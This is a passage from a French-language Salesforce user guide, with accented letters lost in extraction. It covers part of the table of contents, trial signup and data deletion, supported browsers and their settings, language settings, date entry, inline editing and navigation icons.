Partage d'enregistrement utilisant Salesforce to Salesforce..................................................................................................1866
Inscription des objets de 100 % Salesforce........................................................................................................................1868
Inscription des champs de Salesforce to Salesforce...........................................................................................................1869
Acceptation d'enregistrements partags en provenance d'une connexion............................................................................1871
Publication de champs dans 100 % Salesforce.....................................................................................................................1876
Publication de champs dans Salesforce to Salesforce...........................................................................................................1877
Enregistrements mis disposition d'une connexion............................................................................................................1879
Conseils pour l'utilisation de Salesforce to Salesforce..........................................................................................................1884

Recherche de connexions................................................................................................................1889
propos de la Recherche de connexions.............................................................................................................................1889
Configuration de la Recherche de connexions.....................................................................................................................1889
Dterminer si vos partenaires utilisent Salesforce.com........................................................................................................1891
Conseils et considrations supplmentaires pour la Recherche de connexions....................................................................1892

Recherche de balises.......................................................................................................................1893
Prsentation de la recherche................................................................................................................................................1893
Fonctionnement de la recherche..........................................................................................................................................1894
Recherche d'enregistrements...............................................................................................................................................1895
Champs de recherche..........................................................................................................................................................1896
Utilisation de caractres gnriques et d'oprateurs dans les recherches..............................................................................1905
Conseils de recherche..........................................................................................................................................................1907
Affichage des rsultats de recherche....................................................................................................................................1909
Filtrage des rsultats de recherche.......................................................................................................................................1911
Recherche via la bote de dialogue Recherche.....................................................................................................................1913
Configuration des recherches..............................................................................................................................................1915
Gestion des synonymes de la base de connaissances Salesforce Knowledge........................................................................1917
propos du marquage.........................................................................................................................................................1920
Marquage d'enregistrements................................................................................................................................................1921
Parcours, recherche et gestion des balises............................................................................................................................1922
Limites relatives au balisage.................................................................................................................................................1924

Solutions........................................................................................................................................1925
Prsentation des solutions....................................................................................................................................................1925
Prsentation des solutions HTML......................................................................................................................................1925
Que sont les solutions multilingues ?...................................................................................................................................1928
Que sont les suggestions de solutions ?................................................................................................................................1932
Page d'accueil des solutions.................................................................................................................................................1934
Affichage des listes de solution............................................................................................................................................1935

Guide de l'utilisateur | Table des matires | xvii

Affichage et slection de solutions.......................................................................................................................................1936
Cration de solutions...........................................................................................................................................................1938
Vrification de solutions......................................................................................................................................................1939
Classement des solutions par catgorie................................................................................................................................1941
Suppression de solutions......................................................................................................................................................1942
Recherche de solutions........................................................................................................................................................1943

Vente en quipe...............................................................................................................................1946
Prsentation des quipes de vente........................................................................................................................................1946
Configuration de la vente en quipe....................................................................................................................................1947
Dfinition de votre quipe de vente par dfaut....................................................................................................................1948
Ajout de votre quipe de vente par dfaut...........................................................................................................................1949
Ajout de membres l'quipe de vente.................................................................................................................................1950
Modification de membres de l'quipe de vente....................................................................................................................1951

Gestion des Territoires....................................................................................................................1952

Prsentation de la gestion des territoires..............................................................................................................................1952
Activation de la gestion des territoires.................................................................................................................................1953
Gestion des territoires..........................................................................................................................................................1955
Configuration des paramtres de gestion des territoires......................................................................................................1956
Cration de la hirarchie des territoires...............................................................................................................................1957
Affichage et modification des territoires..............................................................................................................................1958
Cration de territoires..........................................................................................................................................................1960
Champs de territoire............................................................................................................................................................1961
Suppression de territoires....................................................................................................................................................1964
Gestion des utilisateurs dans les territoires..........................................................................................................................1965
Ajout de responsables de prvision aux territoires...............................................................................................................1968
Gestion des rgles d'attribution de compte..........................................................................................................................1969
Attribution d'opportunits des territoires.........................................................................................................................1977
Attribution manuelle de comptes aux territoires..................................................................................................................1980

Salesforce Mobile...........................................................................................................................1982
Prsentation de Salesforce Mobile.......................................................................................................................................1982
Prsentation de Mobile Lite................................................................................................................................................1983
Installation de l'application mobile......................................................................................................................................1985
Gestion de configurations mobiles......................................................................................................................................1988
Cration de configurations mobiles.....................................................................................................................................1993
Dfinition des ensembles de donnes..................................................................................................................................1996
Test de configurations mobiles............................................................................................................................................2001
Modifier les proprits dobjet mobile.................................................................................................................................2003
Gestion des vues mobiles.....................................................................................................................................................2005
Gestion des onglets mobiles................................................................................................................................................2007
Configuration de tableaux de bord mobiles.........................................................................................................................2011
Configuration de rapports mobiles......................................................................................................................................2012

Guide de l'utilisateur | Table des matires | xviii

Configuration de Mobile Content.......................................................................................................................................2013
Cration de liens mobiles....................................................................................................................................................2015
Envoi d'e-mails aux utilisateurs mobiles..............................................................................................................................2016
Gestion de priphriques mobiles........................................................................................................................................2017
Personnalisation des paramtres mobiles.............................................................................................................................2024

Connect pour Office.......................................................................................................................2026

Prsentation de Force.com Connect pour Microsoft Office..............................................................................................2026
Installation de Connect pour Office....................................................................................................................................2026
Utilisation de l'intgration d'Excel......................................................................................................................................2027
Utilisation de l'intgration de Word....................................................................................................................................2030

Connect Offline.............................................................................................................................2032
Prsentation de Force.com Connect Offline........................................................................................................................2032
Installation de Connect Offline...........................................................................................................................................2033
Gestion des configurations de porte-documents Connect Offline......................................................................................2034
Quel est le contenu par dfaut de votre porte-documents Connect Offline ?......................................................................2042
Connexion Connect Offline.............................................................................................................................................2044
Synchronisation de votre porte-documents.........................................................................................................................2045
Utilisation de Connect Offline............................................................................................................................................2047
Dpannage de Connect Offline...........................................................................................................................................2049

Connect pour Outlook....................................................................................................................2054

Prsentation de Force.com Connect pour Microsoft Outlook...........................................................................................2054
Installation de Connect pour Outlook.................................................................................................................................2055
Utilisation de Connect pour Outlook..................................................................................................................................2058
Association d'lments Outlook des enregistrements Salesforce.com...............................................................................2066
Synchronisation des contacts et des activits avec Connect pour Outlook..........................................................................2068
Utilisation de comptes personnels dans Connect pour Outlook..........................................................................................2072
Configuration de votre profil de synchronisation................................................................................................................2075
Dfinition des options de Connect pour Outlook...............................................................................................................2076

Connect pour Lotus Notes..............................................................................................................2085

Prsentation de Force.com Connect pour Lotus Notes.......................................................................................................2085
Installation de Connect pour Lotus Notes..........................................................................................................................2086
Utilisation de Connect pour Lotus Notes............................................................................................................................2089
Ajout d'e-mails Lotus Notes sortants Salesforce.com.......................................................................................................2091
Ajout d'e-mails Lotus Notes envoys ou reus Salesforce.com.........................................................................................2092
Cration de requtes partir d'e-mails Lotus Notes...........................................................................................................2099
Synchronisation des contacts et des activits avec Connect pour Lotus Notes....................................................................2100
Utilisation des comptes personnels dans Connect pour Lotus Notes..................................................................................2104
Configuration de votre profil de synchronisation................................................................................................................2105
Dfinition des options de Connect pour Lotus Notes.........................................................................................................2106

Guide de l'utilisateur | Table des matires | xix

FAQ...............................................................................................................................................2116
Liste FAQ............................................................................................................................................................................2116
FAQ de la mise en route......................................................................................................................................................2123
FAQ sur les activits............................................................................................................................................................2126
FAQ de distribution de packages.........................................................................................................................................2127
FAQ sur les campagnes.......................................................................................................................................................2130
FAQ sur les requtes............................................................................................................................................................2132
FAQ sur la console..............................................................................................................................................................2133
FAQ sur le support client....................................................................................................................................................2134
FAQ sur les problmes gnraux.........................................................................................................................................2134
FAQ sur l'importation.........................................................................................................................................................2135
FAQ sur les pistes................................................................................................................................................................2148
FAQ sur Connect pour Lotus Notes...................................................................................................................................2149
FAQ mobile.........................................................................................................................................................................2151
FAQ sur Connect pour Outlook.........................................................................................................................................2154
FAQ sur les portails ............................................................................................................................................................2157
FAQ sur la gnration de rapports.......................................................................................................................................2159
FAQ Salesforce CRM et Google AdWords........................................................................................................................2160
FAQ sur la scurit et l'volutivit.......................................................................................................................................2164
FAQ des solutions...............................................................................................................................................................2165
FAQ sur la gestion des territoires........................................................................................................................................2166
FAQ sur la rponse d'approbation par e-mail......................................................................................................................2169

Fiches de conseils et guides de l'utilisateur imprimables....................................................................2171

Fiches de conseils et guides de l'utilisateur imprimables......................................................................................................2171

Accessibilit...................................................................................................................................2175
Prsentation de l'accessibilit...............................................................................................................................................2175
Activation du mode d'accessibilit.......................................................................................................................................2178

Force.com Checkout.......................................................................................................................2181
Gestion de la facturation et des licences..............................................................................................................................2181

Glossaire........................................................................................................................................2184
Glossaire..............................................................................................................................................................................2184
Index...............................................................................................................................................................................................2207

Guide de l'utilisateur | Table des matires | xx

Prsentation

Mise en route
Inscription
Disponible avec : Toutes les ditions

La premire personne de votre organisation s'inscrire devient l'administrateur du systme. Au cours de l'inscription,
l'administrateur entre des informations de base sur votre organisation. Aprs avoir valu le systme, les administrateurs peuvent,
s'ils le souhaitent, se procurer des licences utilisateur ou mettre niveau leur version vers une autre dition. Sachez que les
administrateurs de la version Developer Edition n'ont pas la possibilit de la mettre niveau.
Remarque: Les fonctionnalits incluses dans votre version d'essai risquent de ne pas tre disponibles avec l'dition
que vous choisissez d'acheter.
Si vous dfinissez plusieurs utilisateurs dans votre version d'essai et que vous optez ultrieurement pour Personal Edition,
tous les utilisateurs ( l'exception de l'administrateur systme initial) deviennent inactifs.

Voir aussi :
Suppression des donnes d'valuation
Ajout ou suppression de licences utilisateur

Suppression des donnes d'valuation

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour supprimer des donnes d'valuation :

Modifier toutes les donnes

Lors de l'inscription Salesforce.com, votre organisation est renseigne avec des donnes exemple. Au cours de la priode
d'valuation, les administrateurs peuvent supprimer tous ces chantillons de donnes, ainsi que les donnes de votre entreprise
par la mme occasion.
Pour supprimer toutes les donnes pendant la priode d'valuation :
1. Cliquez sur Configuration Gestion des donnes Supprimer toutes les donnes. Ce lien est disponible pendant la
priode d'valuation uniquement.
2. Entrez le texte demand stipulant que vous savez que toutes les donnes de l'organisation seront supprimes. Il s'agit des
chantillons de donnes, mais galement des donnes que vous avez saisies. Cela ne concerne pas la configuration
d'administration et utilisateur.
3. Cliquez sur Soumettre.

Mise en route

Guide de l'utilisateur | Navigateurs pris en charge | 3

Aprs votre priode d'valuation, vous pouvez supprimer les chantillons de donnes manuellement ou en utilisant la fonction
de suppression en masse (reportez-vous Suppression en masse de donnes la page 225).

Voir aussi :
Inscription

Navigateurs pris en charge

Disponible avec : Toutes les ditions

L'application en ligne Salesforce.com prend en charge les navigateurs suivants :

Navigateur

Commentaires

Mozilla Firefox version 3.0

Salesforce.com recommande d'utiliser Firefox 3.0 pour bnficier de meilleures

performances. Pour consulter des recommandations de configuration,
reportez-vous Configuration de Firefox la page 3.

Microsoft Internet Explorer versions 6.0, 7.0 Salesforce.com recommande vivement d'utiliser la version 8.0 d'Internet
et 8.0
Explorer plutt que les versions 6.0 et 7.0. Appliquez tous les correctifs
Microsoft. Pour consulter des recommandations de configuration,
reportez-vous Configuration d'Internet Explorer la page 5.
Apple Safari version 3

Pris en charge sous Windows XP, Windows Vista et Mac OS X version 10.4
et ultrieur. Aucune recommandation de configuration n'est disponible pour
Safari.

Important: Pour tous les navigateurs, vous devez activer JavaScript, les cookies et SSL 3.0.

Configuration de Firefox
Disponible avec : Toutes les ditions

Pour de meilleures performances, salesforce.com recommande d'utiliser le navigateur Mozilla Firefox 3.0.
Paramtres requis
Les paramtres suivants sont requis :
1. Cliquez sur Outils Options.
2. Activer JavaScript :
a. Allez dans le panneau Contenu.

Mise en route

Guide de l'utilisateur | Navigateurs pris en charge | 4

b. Slectionnez les options Activer JavaScript et Activer Java.

3. Accepter les cookies :
a. Allez dans le panneau Vie prive.
b. Slectionnez l'option Accepter les cookies tiers.
c. Dans le champ Les conserver jusqu', slectionnez leur expiration.
4. Dfinir les outils de chiffrement :
a. Allez dans le panneau Avanc.
b. Cliquez sur l'onglet Chiffrement.
c. Slectionnez l'option Utiliser SSL 3.0.
5. Cliquez sur OK.
Paramtres avancs
En option, vous pouvez configurer les prfrences de mise en cache avances pour optimiser les performances :
1. Tapez about:config dans la barre d'adresse du navigateur et appuyez sur la touche Entre.
2. Si un message d'avertissement s'affiche, cliquez sur Je ferai attention, promis !
3. Recherchez les prfrences ci-dessous et dfinissez-les avec la valeur recommande en double-cliquant sur le nom de
la prfrence. Les modifications prennent immdiatement effet.
4. Changez la faon dont le navigateur conserve des ressources communes entre les requtes en dfinissant les prfrences
de mise en cache suivantes :
Prfrence

Valeur recommande

Valeur par
dfaut

browser.cache.check_doc_frequency

browser.cache.disk.capacity

50 000 ou plus ; augmenter pour utiliser un

espace disque plus important

50,000

browser.cache.disk.enable

true

true

browser.cache.disk_cache_ssl

true

false

browser.cache.memory.enable

true

true

network.http.use-cache

true

true

Remarque: Vous pouvez dfinir certaines de ces prfrences en cliquant sur Outils Options dans le
navigateur Firefox. Pour plus d'informations, reportez-vous l'Aide de Firefox.

Conseil: La dfinition de privacy.sanitize.sanitizeOnShutdown sur true entrane l'effacement de la mmoire cache

la fermeture de Firefox. Cette option accrot la confidentialit, mais peut diminuer les performances.
Pour afficher le contenu de votre mmoire cache, tapez about:cache dans la barre d'adresse de Firefox et appuyez
sur la touche Entre.

Mise en route

Guide de l'utilisateur | Navigateurs pris en charge | 5

Pour plus d'informations sur les prfrences, reportez-vous Base de connaissances MozillaZine et Page d'accueil du
support de Firefox.

Voir aussi :
Navigateurs pris en charge

Configuration d'Internet Explorer

Disponible avec : Toutes les ditions
Salesforce.com prend en charge l'utilisation des versions 6.0, 7.0 et 8.0 de Microsoft Internet Explorer. Cependant, pour
amliorer les performances, salesforce.com recommande vivement la version 8.0 au lieu des autres versions prises en charge.
Pour optimiser les performances d'Internet Explorer, dfinissez les options ci-dessous dans la bote de dialogue Options
Internet que vous pouvez ouvrir en cliquant sur Outils Options Internet :
Onglet Gnral
1. Dans l'onglet Gnral, cliquez sur Paramtres sous Historique de navigation (Fichiers Internet temporaires de la
version 6.0).
2. Sous l'option Vrifier s'il existe une version plus rcente des pages enregistres, activez
Automatiquement.
3. En regard de l'option Espace disque utiliser (Quantit d'espace disque utiliser dans la
version 6.0), saisissez au moins 50 Mo.
Onglet Scurit
1. Dans l'onglet Scurit, cliquez sur Personnaliser le niveau sous Internet et faites dfiler jusqu' la section Script.
2. Assurez-vous que l'option Script actif est active. JavaScript ncessite l'activation de ce paramtre.
Onglet Confidentialit
1. Dans l'onglet Confidentialit, cliquez sur Avanc.
2. Activez l'option Ignorer la gestion automatique des cookies.
3. Activez l'option Toujours autoriser les cookies de cette session.
Onglet Avancs
Dans l'onglet Avancs, faites dfiler jusqu' la section Scurit et procdez comme suit :

Dsactivez l'option Ne pas enregistrer les pages chiffres sur le disque.

Activez l'option SSL 3.0.

Mise en route

Guide de l'utilisateur | Utilisation de l'application | 6

Conseil: L'option Vider le dossier Fichiers Internet temporaires lorsque le navigateur

est ferm entrane l'effacement de la mmoire cache la fermeture d'Internet Explorer. Cette option accrot
la confidentialit, mais peut diminuer les performances.

Voir aussi :
Navigateurs pris en charge

Utilisation de l'application
Disponible avec : Toutes les ditions

Avec l'interface Web, vous pouvez entrer des donnes et les rechercher partir de divers emplacements. En rgle gnrale,
vous commencez la page d'accueil et affichez ensuite vos tches et vnements planifis. Vous pouvez ensuite choisir l'un
des onglets principaux pour ajouter, modifier ou consulter des informations.
Pour pouvoir commencer utiliser le service, il vous suffit de :

Modifier votre configuration personnelle. (Reportez-vous Modification des informations personnelles la page 20).
Importer vos contacts et notes, si ncessaire. (Reportez-vous Importer mes contacts la page 288.)

Si vous tes l'administrateur de plusieurs utilisateurs, il vous suffit de :

Consulter le Guide de dploiement pour configurer le systme pour votre organisation et assurer un dploiement russi.
Le Guide de dploiement n'est pas inclus dans Personal Edition ou Developer Edition.
Configurer le systme pour votre organisation. (Reportez-vous Configuration de votre entreprise la page 41 et
Configuration du support client la page 592.)
Importer les pistes, contacts et comptes de l'ensemble de l'entreprise, si ncessaire. (Reportez-vous Prsentation de
l'importation la page 255.)
Remarque: Seuls les utilisateurs dots des autorisations appropries disposent des boutons et des liens mentionns
dans l'aide en ligne.

Voir aussi :
Paramtrage de la langue
Messages d'erreur
Saisie des donnes

Mise en route

Guide de l'utilisateur | Utilisation de l'application | 7

Paramtrage de la langue
Disponible avec : Toutes les ditions

L'interface Web est disponible dans plusieurs langues afin de rpondre au mieux aux besoins des utilisateurs. Connect Offline,
Connect pour Outlook et Connect pour Office sont galement disponibles dans plusieurs langues. Reportez-vous : Quelles
sont les langues prises en charge par Salesforce.com ? la page 2123
Chaque utilisateur peut modifier ses paramtres de langue pour utiliser l'application dans l'une des langues prises en charge.
Pour obtenir des dtails sur la configuration de votre langue, reportez-vous Modification des informations personnelles la
page 20. En outre, l'administrateur peut slectionner une langue d'organisation par dfaut qui s'applique tous les nouveaux
utilisateurs jusqu' ce qu'ils choisissent leur propre langue. Pour plus d'informations, reportez-vous Informations sur la socit
la page 45.
Le texte l'cran, les images, les boutons et l'aide en ligne s'affichent dans la langue choisie par l'utilisateur. Le texte saisi par
les utilisateurs reste dans la langue o il a t entr. Certains lments de configuration entrs manuellement par un administrateur
peuvent toutefois tre traduits via le systme de traduction.
Le systme de traduction permet de traduire manuellement certains lments de configuration d'administration dans toutes
les langues prises en charge. Cela permet aux utilisateurs de travailler dans la langue de leur choix, augmentant ainsi la qualit
des donnes et la productivit. Par exemple, vous pouvez dfinir un ensemble de valeurs de liste de slection en franais, puis
les traduire en anglais l'attention des utilisateurs anglophones. Pour plus d'informations, reportez-vous Configuration du
systme de traduction la page 88.

Voir aussi :
Utilisation de l'application

Messages d'erreur
Lors de l'utilisation du service, il est possible que vous rencontriez un message d'erreur. Ceci se produit gnralement lorsque
vous tentez de consulter, de modifier ou de supprimer des informations auxquelles vous n'avez pas accs. La page de message
qui s'affiche explique en gnral le motif de l'erreur. Il vous suffit de cliquer sur le bouton Prcdente du navigateur pour revenir
la page prcdente. Si vous pensez avoir reu un message d'erreur pour une raison non valable, cliquez sur Aide et formation
en haut de la page et slectionnez l'onglet Mes requtes pour transmettre le problme directement au support client.

Voir aussi :
Utilisation de l'application

Mise en route

Guide de l'utilisateur | Saisie des donnes | 8

Saisie des donnes

Disponible avec : Toutes les ditions

La saisie de donnes dans Salesforce.com est trs similaire la saisie de donnes dans une page Web. Vous pouvez choisir de
commencer par la saisie de donnes dans l'un des onglets principaux, ou par l'importation de vos donnes. Salesforce.com est
un service trs flexible qui vous permet de crer, de modifier et de suivre les donnes de nombreuses faons.
Notez les lments suivants :

En saisissant et en modifiant les donnes, n'oubliez pas de cliquer sur Enregistrer afin de ne pas perdre vos modifications.
Les champs obligatoires apparaissent en rouge sur les pages modifiables. Tous les autres champs sont facultatifs et peuvent
rester vides.
Si votre organisation a activ la modification en ligne, vous pouvez modifier les champs directement dans la page de dtails.

Voir aussi :
Saisie des dates et des heures

Saisie des dates et des heures

Disponible avec : Toutes les ditions

De nombeux champs permettent d'entrer une date ou une heure dans le format dfini dans le paramtre Locale. Pour plus
d'informations sur ces formats, reportez-vous Quel est le format utilis pour les dates, heures et noms dans Salesforce.com ?
la page 2124
Pour entrer une heure, procdez comme suit :

Cliquez sur le lien ct du champ dans la page de modification pour entrer l'heure en cours.
Entrez manuellement une heure selon le format dfini dans le paramtre Locale.

Pour entrer une date :

1. Placez le curseur dans le champ de date ou de date/heure dans la page de modification.
2. Choisissez une date dans le calendrier qui s'ouvre ou entrez manuellement une date.
Toutes les dates s'affichent avec quatre chiffres pour l'anne, mais vous pouvez entrer deux ou quatre chiffres en fonction
de ces instructions (exemples avec les paramtres rgionaux anglais) :

Entrez deux chiffres compris entre 00 et 59 pour les annes (2000 - 2059, par exemple). 12/30/40 est enregistr sous
la forme December 30, 2040
Entrez deux chiffres compris entre 60 et 99 pour les annes (1960 - 1999, par exemple). 30/12/60 est enregistr sous
la forme December, 30, 1960.
Entrez quatre chiffres pour les annes comprises entre 1700 et 4000

3. Si vous le souhaitez, vous pouvez entrer une valeur de date spciale.

Mise en route

Guide de l'utilisateur | Saisie des donnes | 9

Si vos paramtres rgionaux sont anglais et que votre langue est l'anglais, vous pouvez utiliser les valeurs de date spciales
suivantes pour entrer des dates :
Valeur de date spciale

Plage

Hier

Jour avant le jour actuel.

Aujourd'hui

Jour en cours.

Demain

Jour qui suit le jour actuel.

Lundi

Le lundi suivant. Si le jour en cours est lundi, il s'agit du jour

en cours.

Mardi

Le mardi suivant. Si le jour en cours est mardi, il s'agit du

jour en cours.

Mercredi

Le mercredi suivant. Si le jour en cours est mercredi, il s'agit

du jour en cours.

Jeudi

Le jeudi suivant. Si le jour en cours est jeudi, il s'agit du jour

en cours.

Vendredi

Le vendredi suivant. Si le jour en cours est vendredi, il s'agit

du jour en cours.

Samedi

Le samedi suivant. Si le jour en cours est samedi, il s'agit du

jour en cours.

Dimanche

Le dimanche suivant. Si le jour en cours est dimanche, il

s'agit du jour en cours.

mm/jj

Valeurs du jour, du mois et de l'anne en cours. Par exemple,

12/31 devient 12/31/2007 pour l'anne 2007.

mm.jj

Valeurs du jour, du mois et de l'anne en cours. Par exemple,

12.31 devient 12/31/2007 pour l'anne 2007.

mm-jj

Valeurs du jour, du mois et de l'anne en cours. Par exemple,

12-31 devient 12/31/2007 pour l'anne 2007.

S'il s'agit d'un champ de date/heure, l'heure correspond l'heure en cours. Ces valeurs de date spciales ne tiennent pas
compte de la casse.
Conseil: Vous pouvez dfinir ces valeurs spciales en utilisant les trois premires lettres. Par exemple, yes pour
yesterday ou mon pour Monday.

Dates minimales et maximales

Seules les dates comprises dans une certaine plage sont valides. La date valide la plus loigne dans le pass est
1700-01-01T00:00:00Z GMT, ou juste aprs minuit le 1er janvier 1700. La date valide loigne dans le futur est
4000-12-31T00:00:00Z GMT, ou juste aprs minuit le 31 dcembre 4000.

Mise en route

Guide de l'utilisateur | Saisie des donnes | 10

Remarque: Ces valeurs sont dcales en fonction de votre fuseau horaire. Par exemple, dans le fuseau horaire Pacifique,
la date valide la plus ancienne est le 31/12/1699 16:00:00 soit 16h00, le 31 dcembre 1699.

Voir aussi :
Saisie des donnes

Modification des donnes l'aide de la fonction de modification en ligne

Paramtres de modification en ligne disponibles avec : Toutes les ditions

Autorisations utilisateur requises

Pour activer la fonction de modification en ligne :

Personnaliser l'application

La modification en ligne permet aux utilisateurs de modifier rapidement les valeurs des champs sur la page de dtails d'un
enregistrement, ce qui leur vite d'avoir accder d'abord la page de modification de l'enregistrement.
Pour activer la fonction de modification en ligne pour votre entreprise, reportez-vous Personnalisation des paramtres de
l'interface utilisateur la page 361.
Pour modifier un enregistrement l'aide de la fonction de modification en ligne, une fois celle-ci active pour votre entreprise :
1. Rendez-vous sur la page de dtails de l'enregistrement modifier.
2. Survolez le champ que vous souhaitez modifier. Ainsi :

Si la modification en ligne est disponible pour modifier le champ, Salesforce.com affiche une icne de crayon ( ).
Si la modification en ligne n'est pas disponible pour modifier le champ mais que le champ est modifiable par d'autres
moyens, aucune icne n'apparat.
Si le champ n'est modifiable par aucun moyen (tel que le champ Dernire modification effectue par),
Salesforce.com affiche une icne de verrouillage ( ).

3. Double-cliquez dans la zone mise en vidence prs du champ modifier. Le champ passe en mode dition. Salesforce.com
affiche les champs composs (comme les adresses, les prnoms et noms, et les listes de slection qui en dpendent) dans
une bote de dialogue afin que toutes les parties de ces champs puissent tre modifies.
4. Entrez la nouvelle valeur.
5. Cliquez en dehors du champ pour confirmer votre changement et apportez les autres modifications voulues. Si vous modifiez
un champ autre qu'un champ de zone de texte, vous pouvez aussi appuyer sur Entre pour confirmer votre changement.
Les modifications confirmes apparaissent en orange et en gras.
6. Appuyez de nouveau sur Entre ou cliquez sur Enregistrer pour valider toutes les modifications confirmes.
Important: Salesforce.com n'enregistre pas les modifications confirmes des valeurs des champs tant que vous
n'appuyez pas de nouveau sur la touche Entre ou que vous ne cliquez pas sur Enregistrer. Si vous vous rendez
sur une autre page sans confirmer les changements, toutes les modifications apportes l'enregistrement sont
annules.

Mise en route

Guide de l'utilisateur | Saisie des donnes | 11

Notez les lments suivants :

Si vous avez apport des changements un enregistrement que vous n'avez pas encore enregistr, vous pouvez les annuler
un par un, sans perdre ceux que vous voulez conserver sur la mme page. Pour annuler une seule modification, cliquez sur
l'icne prvue cet effet ( ) droite de la valeur modifie du champ souhait. La valeur prcdente du champ est rtablie.
Vous pouvez utiliser la modification en ligne pour modifier les valeurs des champs des enregistrements auxquels vous n'avez
qu'un accs en lecture seule, soit en passant par la scurit au niveau du champ ou par le biais du modle de partage de
votre entreprise ; mais, Salesforce.com n'autorise pas la sauvegarde des modifications et affiche un message d'erreur de
privilges insuffisants lorsque vous essayez de sauvegarder l'enregistrement.
Le fait d'appuyer sur Entre alors que le curseur se trouve dans la zone de modification d'un champ permet de confirmer
le changement pour ce champ uniquement. Appuyer sur Entre lorsqu'aucun champ n'est en mode dition permet
d'enregistrer toutes les modifications apportes l'enregistrement.
Le fait d'appuyer sur Echap alors que le curseur se trouve dans la zone de modification d'un champ permet d'annuler le
changement pour ce champ uniquement.
La modification en ligne est dsactive sur la page de dtails d'un enregistrement si un administrateur remplace le bouton
Modifier de cet objet par une commande s-control ou une page Visualforce. Pour plus d'informations sur le remplacement
des boutons par des commandes s-control, reportez-vous Remplacement de boutons standard et de pages d'accueil d'onglet
la page 584. Pour plus d'informations sur les pages Visualforce, reportez-vous Prsentation de Visualforce la page 947.
Supprimer le bouton Modifier d'une prsentation de page n'empche pas les utilisateurs de modifier l'enregistrement
l'aide de la fonction de modification en ligne. Pour empcher totalement les utilisateurs de modifier des donnes, les
administrateurs doivent utiliser une combinaison de rgles de partage, de proprits de scurit au niveau des champs, de
proprits des champs de prsentation des pages, de rgles de validation, d'autorisations de profil, de commandes s-control
ou de pages Visualforce.
La modification en ligne n'est pas disponible pour les utilisateurs ayant le mode d'accessibilit activ.
La modification en ligne n'est pas disponible pour les cases cocher standard de requte, de piste et des pages de modification
de compte suivantes :
-

Attribution des requtes (Affecter l'aide de rgles d'attribution actives)

Notification par e-mail d'une requte (Envoyer un e-mail de notification au contact)
Attribution des pistes (Affecter l'aide de rgles d'attribution actives)
Attribution des territoires (Excuter les rgles d'attribution de territoire lors de
l'enregistrement)

Il est impossible d'utiliser la modification en ligne sur les pages de configuration.

Les descriptions de solutions ne peuvent pas tre modifies avec la modification en ligne si les solutions HTML sont
actives.
La modification en ligne n'est pas prise en charge dans le portail Client.
La fonction de modification en ligne est disponible dans les pages de dtails de tous les champs modifiables sur les pages
de modification, l'exception de quelques champs sur les tches, les vnements, les opportunits, les catalogues de prix
et les documents. Pour les modifier ces champs, allez la page de modification d'un enregistrement, modifiez la valeur du
champ souhait, puis cliquez sur Enregistrer. Le tableau suivant prsente les champs spcifiques non modifiables dans les
pages de dtails des enregistrements et les vues de liste. Notez des autorisations spciales peuvent tre requises pour afficher
certains de ces champs :
Objet

Champs

Tous les objets

Champs de zone de texte longue

Opportunits

tape

Mise en route

Objet

Guide de l'utilisateur | Navigation | 12

Champs
-

Montant (modifiable dans les pages de dtails mais pas dans les listes de vue)
Quantit (modifiable dans les pages de dtails mais pas dans les listes de vue)

Piste

Statut de piste (modifiable dans les pages de dtails mais pas dans les listes de vue)

Requtes

Statut de requte (modifiable dans les pages de dtails mais pas dans les listes de

vue)
Contrats

Statut de contrat (modifiable dans les pages de dtails mais pas dans les listes de

vue)
Tches

chance
Associ
Nom
Priorit
Statut
Priv
Rappel
vnement
Date
Evnement sur la journe
Heure
Paramtres de rcurrence

Documents

Tous les champs

Catalogues

Tous les champs

Navigation
Disponible avec : Toutes les ditions

Vous pouvez naviguer entre les pages et slectionner des options l'aide de liens textuels et de boutons standard. Sur chaque
page, vous pouvez galement modifier ou mettre jour les informations grce aux champs texte, aux listes droulantes et aux
menus contextuels standard.
Sur les pages de dtails, vous pouvez cliquer sur le lien Retour la liste pour revenir la dernire page de liste consulte. Le
type de liste auquel vous allez revenir est indiqu aprs les deux-points. Par exemple, si la dernire page de liste que vous avez
consulte est la page D de la vue Tous les comptes , vous cliquez sur Retour la liste: Compte pour revenir cette page
de la vue Tous les comptes . De mme, si la dernire page de liste que vous avez consulte est une liste de requtes, le lien
est Back to List: Requtes. Le lien n'est pas disponible si vous n'avez pas encore visualis de page de liste dans la session en
cours.
Les pages contiennent les icnes et symboles suivants :

Mise en route

lment

Guide de l'utilisateur | Navigation | 13

Description
Affich dans les en-ttes de table des vues de liste. Applique
un ordre de tri croissant ou dcroissant.
Section de page de dtails ou dossier de rapport rduit :
Cliquez sur cette icne pour dvelopper la section ou le dossier.
Disponible sur les pages de dtails si l'option de rduction des
sections de page est active pour votre entreprise.
Section de page de dtails ou dossier de rapport dvelopp :
Cliquez sur cette icne pour rduire la section ou le dossier.
Disponible sur les pages de dtails si l'option de rduction des
sections de page est active pour votre entreprise.
Icne de calendrier. Affiche un calendrier dans lequel vous
pouvez choisir une date.
Icne de recherche. Affiche une fentre contextuelle
permettant de rechercher et de slectionner des enregistrements
existants. Vous pouvez galement crer des enregistrements
si l'option Cration rapide est disponible pour le type
d'enregistrement cr et a t active par l'administrateur.
Pour plus d'informations, reportez-vous Recherche via la
bote de dialogue Recherche la page 1913.
Icne de zone de liste droulante. Affiche une fentre
contextuelle dans laquelle vous pouvez slectionner un lment
dans une liste.
Icne crayon. Indique un champ modifiable lorsque la
modification en ligne est active. Voir aussi Utilisation de la
fonction de modification en ligne dans des listes la page 1543.
Icne de verrouillage. Indique qu'un champ n'est pas
modifiable l'aide de la modification en ligne lorsque la
modification en ligne est active.
Icne annuler. Rtablit la valeur prcdente de modification
en ligne d'un champ lorsque la modification en ligne est
active.
Icne de compte. S'affiche sur les pages de compte et en regard
des comptes dans la zone lments rcents du menu latral.
Icne de compte personnel. S'affiche aux emplacements
suivants :
En haut de la page de dtails des comptes personnels.
En regard des noms de compte personnel dans la section
lments rcents du menu latral.
En tant qu'en-tte de colonne dans les vues de liste de
compte et de contact, reprsentant le champ Est un
compte personnel.

Mise en route

lment

Guide de l'utilisateur | Navigation | 14

Description

En tant qu'en-tte de colonne dans les prsentations de

recherche de compte, reprsentant le champ Est un
compte personnel.
En regard de champs propres aux comptes personnels sur
la page Champs de compte.

Pour plus d'informations, reportez-vous Qu'est-ce qu'un

compte personnel ? la page 1048
Icne de campagne. S'affiche sur les pages de campagne et en
regard des campagnes dans la zone lments rcents du menu
latral.
Icne de requte. S'affiche sur les pages de requte et en regard
des requtes dans la zone lments rcents du menu latral.
Icne de contact. S'affiche sur les pages de contact et en regard
des contacts dans la zone lments rcents du menu latral.
